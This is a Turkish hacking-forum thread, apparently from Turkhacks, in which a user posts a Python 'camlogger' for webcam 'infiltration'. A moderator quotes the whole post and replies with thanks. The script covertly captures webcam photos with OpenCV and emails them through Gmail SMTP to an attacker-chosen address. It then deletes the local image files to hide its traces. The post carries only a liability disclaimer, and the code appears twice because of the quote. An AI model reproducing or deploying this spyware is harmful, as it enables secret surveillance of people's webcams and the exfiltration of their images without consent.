Hoşgeldin Misafir

Python ile kamera sızma | Python camlogger

xS0N3R

23 Ağu 2020
5,424 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba sizlerle python camlogger ile kameralara sızma konusunu anlatacağım misyon dahilinde kullanın kullanımdan sorumlu olaylardan ben ve Turkhacks sorumlu değildir

Python:
mport cv2
import time
import smtplib
import os
from email.message import EmailMessage

SMTP_SERVER = "smtp.gmail.com"
SMTP_PORT = 587
EMAIL_SENDER = "[email protected]" #fotoğrafları gönderecek mail adresi
EMAIL_PASSWORD = "apppasword" #app password
EMAIL_RECEIVER = "[email protected]" #mail gönderilecek adres

def send_email(filenames):
    try:
        msg = EmailMessage()
        msg["From"] = EMAIL_SENDER
        msg["To"] = EMAIL_RECEIVER
        msg["Subject"] = "Yeni Fotoğraflar"
        msg.set_content("Ekli dosyalarda çekilen fotoğrafları bulabilirsiniz.")

        for file in filenames:
            with open(file, "rb") as f:
                msg.add_attachment(f.read(), maintype="image", subtype="png", filename=file)

        server = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
        server.starttls()
        server.login(EMAIL_SENDER, EMAIL_PASSWORD)
        server.send_message(msg)
        server.quit()

    except Exception as e:
        print(f"Send hatası: {e}")

def delete_photos(filenames):
    for file in filenames:
        if os.path.exists(file):
            os.remove(file)

cap = cv2.VideoCapture(0)
photo_files = []

for i in range(1, 6): #çekilcek fooğraf sayısı (var sayılan 5) (10 fotoğraf için 6 yerine 11 yazın)
    ret, frame = cap.read()
    if ret:
        filename = f'okked{i}.png'
        cv2.imwrite(filename, frame)
        photo_files.append(filename)
    if i < 5:
        time.sleep(3) #fotoğraf çekme aralığı (var sayılan 3 saniye)

cap.release()
send_email(photo_files)
delete_photos(photo_files)

bu kodu kendinize göre düzenleyin (e-posta göndecek gmail adresi, app password, e-posta'nın iletileceği adres, e-posta gönderme aralığı)
 

Graves

Graves

Karanlık Özgürlüktür
Moderator
9 Eki 2024
10,448 Mesaj
TIM Görevleri
2

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba sizlerle python camlogger ile kameralara sızma konusunu anlatacağım misyon dahilinde kullanın kullanımdan sorumlu olaylardan ben ve Turkhacks sorumlu değildir

Python:
mport cv2
import time
import smtplib
import os
from email.message import EmailMessage

SMTP_SERVER = "smtp.gmail.com"
SMTP_PORT = 587
EMAIL_SENDER = "[email protected]" #fotoğrafları gönderecek mail adresi
EMAIL_PASSWORD = "apppasword" #app password
EMAIL_RECEIVER = "[email protected]" #mail gönderilecek adres

def send_email(filenames):
    try:
        msg = EmailMessage()
        msg["From"] = EMAIL_SENDER
        msg["To"] = EMAIL_RECEIVER
        msg["Subject"] = "Yeni Fotoğraflar"
        msg.set_content("Ekli dosyalarda çekilen fotoğrafları bulabilirsiniz.")

        for file in filenames:
            with open(file, "rb") as f:
                msg.add_attachment(f.read(), maintype="image", subtype="png", filename=file)

        server = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
        server.starttls()
        server.login(EMAIL_SENDER, EMAIL_PASSWORD)
        server.send_message(msg)
        server.quit()

    except Exception as e:
        print(f"Send hatası: {e}")

def delete_photos(filenames):
    for file in filenames:
        if os.path.exists(file):
            os.remove(file)

cap = cv2.VideoCapture(0)
photo_files = []

for i in range(1, 6): #çekilcek fooğraf sayısı (var sayılan 5) (10 fotoğraf için 6 yerine 11 yazın)
    ret, frame = cap.read()
    if ret:
        filename = f'okked{i}.png'
        cv2.imwrite(filename, frame)
        photo_files.append(filename)
    if i < 5:
        time.sleep(3) #fotoğraf çekme aralığı (var sayılan 3 saniye)

cap.release()
send_email(photo_files)
delete_photos(photo_files)

bu kodu kendinize göre düzenleyin (e-posta göndecek gmail adresi, app password, e-posta'nın iletileceği adres, e-posta gönderme aralığı)
Eline sağlık